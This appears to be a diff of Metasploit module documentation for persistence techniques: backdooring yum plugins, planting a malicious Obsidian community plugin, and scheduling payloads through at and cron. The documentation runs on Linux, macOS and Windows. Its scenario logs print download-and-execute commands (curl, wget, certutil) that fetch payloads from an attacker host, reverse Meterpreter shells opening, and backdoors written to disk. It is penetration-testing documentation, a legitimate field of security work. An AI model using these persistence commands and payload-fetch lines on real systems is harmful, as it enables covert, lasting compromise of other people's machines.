[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.222
|
||||
[+] Plugins are enabled!
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
|
||||
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
|
||||
[*] Attempting to modify plugin
|
||||
[*] Backdoor uploaded to /tmp/7EtplboZD
|
||||
[+] Backdoor will run on next Yum update
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc
|
||||
```
|
||||
@@ -1,124 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module searches for Obsidian vaults for a user, and uploads a malicious
|
||||
community plugin to the vault. The vaults must be opened with community
|
||||
plugins enabled (NOT restricted mode), but the plugin will be enabled
|
||||
automatically.
|
||||
|
||||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
|
||||
|
||||
### Debugging
|
||||
|
||||
To open the console (similar to chrome), use `ctr+shift+i`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a user shell on the target
|
||||
4. Do: `use multi/local/obsidian_plugin_persistence`
|
||||
5. Do: Select a shell which will work on your target OS
|
||||
6. Do: `run`
|
||||
7. You should get a shell when the target user opens the vault without restricted mode.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the plugin. Defaults to being randomly generated.
|
||||
|
||||
### USER
|
||||
|
||||
The user to target. Defaults the user the shell was obtained under.
|
||||
|
||||
### CONFIG
|
||||
|
||||
Config file location on target. Defaults to empty which will search the default locations.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
Get a user shell.
|
||||
|
||||
```
|
||||
msf exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/local/obsidian_plugin_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(multi/local/obsidian_plugin_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(multi/local/obsidian_plugin_persistence) > exploit
|
||||
|
||||
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: xQem
|
||||
[*] Target User: ubuntu
|
||||
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
|
||||
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
|
||||
[*] Uploading plugin to vault /home/ubuntu/Documents/test
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
|
||||
[*] Found 1 enabled community plugins (sX2sv4)
|
||||
[*] adding xQem to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubuntu
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Obsidian 1.7.7 on Windows 10
|
||||
|
||||
```
|
||||
|
||||
msf exploit(multi/local/obsidian_plugin_persistence) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: pPq0K
|
||||
[*] Target User: h00die
|
||||
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
|
||||
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
|
||||
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
|
||||
[*] Found 0 enabled community plugins ()
|
||||
[*] adding pPq0K to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
|
||||
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-3ASD0R4\h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-3ASD0R4
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,190 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with `atd` running.
|
||||
|
||||
Verified on Kali linux and OSX 13.7.4
|
||||
|
||||
### OSX
|
||||
|
||||
In the case of OS X, the `atrun` service must be launched:
|
||||
|
||||
```
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
||||
### Kali
|
||||
|
||||
`at` isn't installed by default. `sudo apt-get install at`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/multi/persistence/at`
|
||||
4. Do: `set session #`
|
||||
5. `exploit`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### TIME
|
||||
|
||||
When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Kali Linux
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144
|
||||
lhost => 192.168.10.144
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/home/mtcyr/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 192.168.10.144:4545
|
||||
[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown
|
||||
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.10.144
|
||||
[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/tmp) > sysinfo
|
||||
Computer : 192.168.10.144
|
||||
OS : Debian (Linux 6.11.2-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/tmp) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes"
|
||||
time => now +10 minutes
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit
|
||||
[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss&
|
||||
[*] Exploit running as background job 2.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 192.168.10.144:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
|
||||
[*] Writing payload to /tmp//YneHFC
|
||||
[*] Waiting for execution
|
||||
[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date
|
||||
[*] exec: date
|
||||
Thu Feb 6 11:42:44 AM EST 2025
|
||||
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) >
|
||||
[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 192.168.10.144 (curl/8.11.1)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.10.144
|
||||
[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500
|
||||
[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date
|
||||
[*] exec: date
|
||||
Thu Feb 6 11:52:20 AM EST 2025
|
||||
```
|
||||
|
||||
### OSX 13.7.4
|
||||
|
||||
Initial access vector via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 8
|
||||
target => 8
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
|
||||
srvport => 8383
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
|
||||
payload => osx/x64/meterpreter_reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4747
|
||||
lport => 4747
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
|
||||
URIPATH => m
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4747
|
||||
[*] Using URL: http://111.111.1.111:8383/m
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/Users/macos) > getuid
|
||||
Server username: macos
|
||||
(Meterpreter 1)(/Users/macos) > sysinfo
|
||||
Computer : 20.20.20.21
|
||||
OS : macOS Ventura (macOS 13.7.4)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
(Meterpreter 1)(/Users/macos) >
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
|
||||
time => now +2 minutes
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
|
||||
payload => osx/x64/meterpreter_reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
|
||||
[*] Writing payload to /tmp/NBcqC
|
||||
[*] Writing '/tmp/NBcqC' (25 bytes) ...
|
||||
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
|
||||
[+] at job created with id: 7
|
||||
[*] Waiting up to sec for execution
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
|
||||
```
|
||||
@@ -0,0 +1,213 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will create a cron or crontab entry to execute a payload.
|
||||
The module includes the ability to automatically clean up those entries to prevent multiple executions.
|
||||
syslog will get a copy of the cron entry.
|
||||
|
||||
Verified on Ubuntu 22.04.1, MacOS 13.7.4
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/multi/persistence/cron`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set target #`
|
||||
6. Optional Do: `set username` (depends on target selection)
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Set a specific user's crontab if target 'User Crontab' is selected
|
||||
|
||||
### TIMING
|
||||
|
||||
Set cron's timing. Default is to run within a minute. Defaults to `* * * * *`
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
If using a non-cmd/fetch payload, the name of the payload file. Defaults to random.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MacOS 13.7.4
|
||||
|
||||
Initial access via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 8
|
||||
target => 8
|
||||
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload payload/osx/x64/meterpreter/reverse_tcp
|
||||
payload => osx/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
|
||||
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
curl -sk --output 4aJvtPCb http://111.111.1.111:8181/l; chmod +x 4aJvtPCb; ./4aJvtPCb& disown
|
||||
[*] Transmitting first stager...(214 bytes)
|
||||
[*] Transmitting second stager...(49152 bytes)
|
||||
[*] Sending stage (815032 bytes) to 172.17.0.3
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 172.17.0.3:49171) at 2025-02-17 17:14:43 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/Users/macos) > sysinfo
|
||||
Computer : 20.20.20.21
|
||||
OS : macOS Ventura (macOS 13.7.4)
|
||||
Architecture : x86
|
||||
BuildTuple : x86_64-apple-darwin
|
||||
Meterpreter : x64/osx
|
||||
(Meterpreter 1)(/Users/macos) > getuid
|
||||
Server username: macos
|
||||
(Meterpreter 1)(/Users/macos) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Due to networking issues, persistence payload is a cmd to touch a file.
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set target 2
|
||||
target => 2
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set payload payload/osx/x64/exec
|
||||
payload => osx/x64/exec
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set cmd "/usr/bin/touch /Users/macos/executed_demo"
|
||||
cmd => /usr/bin/touch /Users/macos/executed_demo
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set AllowNoCleanup true
|
||||
AllowNoCleanup => true
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set user macos
|
||||
user => macos
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set writabledir /Users/macos
|
||||
writabledir => /Users/macos
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
|
||||
[*] Writing backdoor to /Users/macos/nGnXw
|
||||
[*] Writing '/Users/macos/nGnXw' (17204 bytes) ...
|
||||
[*] Utilizing crontab since we can't write to /var/at/tabs/
|
||||
[+] Payload will be triggered when cron time is reached
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/Users/macos) > ls
|
||||
Listing: /Users/macos
|
||||
=====================
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100400/r-------- 7 fil 2025-02-17 09:22:02 -0500 .CFUserTextEncoding
|
||||
040700/rwx------ 64 dir 2025-02-17 09:23:29 -0500 .Trash
|
||||
100600/rw------- 4057 fil 2025-02-17 12:46:46 -0500 .viminfo
|
||||
100600/rw------- 1291 fil 2025-02-17 17:11:33 -0500 .zsh_history
|
||||
040700/rwx------ 256 dir 2025-02-17 17:11:33 -0500 .zsh_sessions
|
||||
100755/rwxr-xr-x 815032 fil 2025-02-17 12:23:58 -0500 2gXD9pz
|
||||
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Desktop
|
||||
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Documents
|
||||
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Downloads
|
||||
040700/rwx------ 2464 dir 2025-02-17 11:17:13 -0500 Library
|
||||
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Movies
|
||||
040700/rwx------ 96 dir 2025-02-17 09:21:18 -0500 Music
|
||||
040700/rwx------ 128 dir 2025-02-17 11:14:18 -0500 Pictures
|
||||
040755/rwxr-xr-x 128 dir 2025-02-17 09:21:18 -0500 Public
|
||||
100644/rw-r--r-- 0 fil 2025-02-17 17:19:00 -0500 executed_demo
|
||||
100700/rwx------ 17204 fil 2025-02-17 17:18:27 -0500 nGnXw
|
||||
```
|
||||
|
||||
### Ubuntu 22.04.1
|
||||
|
||||
Initial access via web delivery
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4545
|
||||
lport => 4545
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
|
||||
URIPATH => l
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4545
|
||||
[*] Using URL: http://111.111.1.111:8181/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO xKgxaWNl --no-check-certificate http://111.111.1.111:8181/l; chmod +x xKgxaWNl; ./xKgxaWNl& disown
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:47100) at 2025-02-17 17:36:07 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(/home/ubuntu) > getuid
|
||||
Server username: ubuntu
|
||||
(Meterpreter 1)(/home/ubuntu) > sysinfo
|
||||
Computer : 222.222.2.22
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/home/ubuntu) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/cron
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > set session 1
|
||||
session => 1
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/cron) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Command to run on remote host: curl -so ./yMuAETldii http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./yMuAETldii;./yMuAETldii&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/cron) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
|
||||
[*] Utilizing crontab since we can't write to /var/spool/cron/crontabs
|
||||
[+] Payload will be triggered when cron time is reached
|
||||
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
|
||||
[*] Sending payload to 222.222.2.22 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:43108) at 2025-02-17 17:38:02 -0500
|
||||
[msf](Jobs:2 Agents:2) exploit(multi/persistence/cron) >
|
||||
```
|
||||
@@ -0,0 +1,126 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module searches for Obsidian vaults for a user, and uploads a malicious
|
||||
community plugin to the vault. The vaults must be opened with community
|
||||
plugins enabled (NOT restricted mode), but the plugin will be enabled
|
||||
automatically.
|
||||
|
||||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and 1.8.4 on Windows 10.
|
||||
|
||||
### Debugging
|
||||
|
||||
To open the console (similar to chrome), use `ctr+shift+i`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a user shell on the target
|
||||
4. Do: `use multi/persistence/obsidian_plugin`
|
||||
5. Do: Select a shell which will work on your target OS
|
||||
6. Do: `run`
|
||||
7. You should get a shell when the target user opens the vault without restricted mode.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the plugin. Defaults to being randomly generated.
|
||||
|
||||
### USER
|
||||
|
||||
The user to target. Defaults the user the shell was obtained under.
|
||||
|
||||
### CONFIG
|
||||
|
||||
Config file location on target. Defaults to empty which will search the default locations.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Obsidian 1.8.4 on Windows 10
|
||||
|
||||
Get a user shell.
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
|
||||
lhost => 111.111.1.111
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 3
|
||||
target => 3
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8282
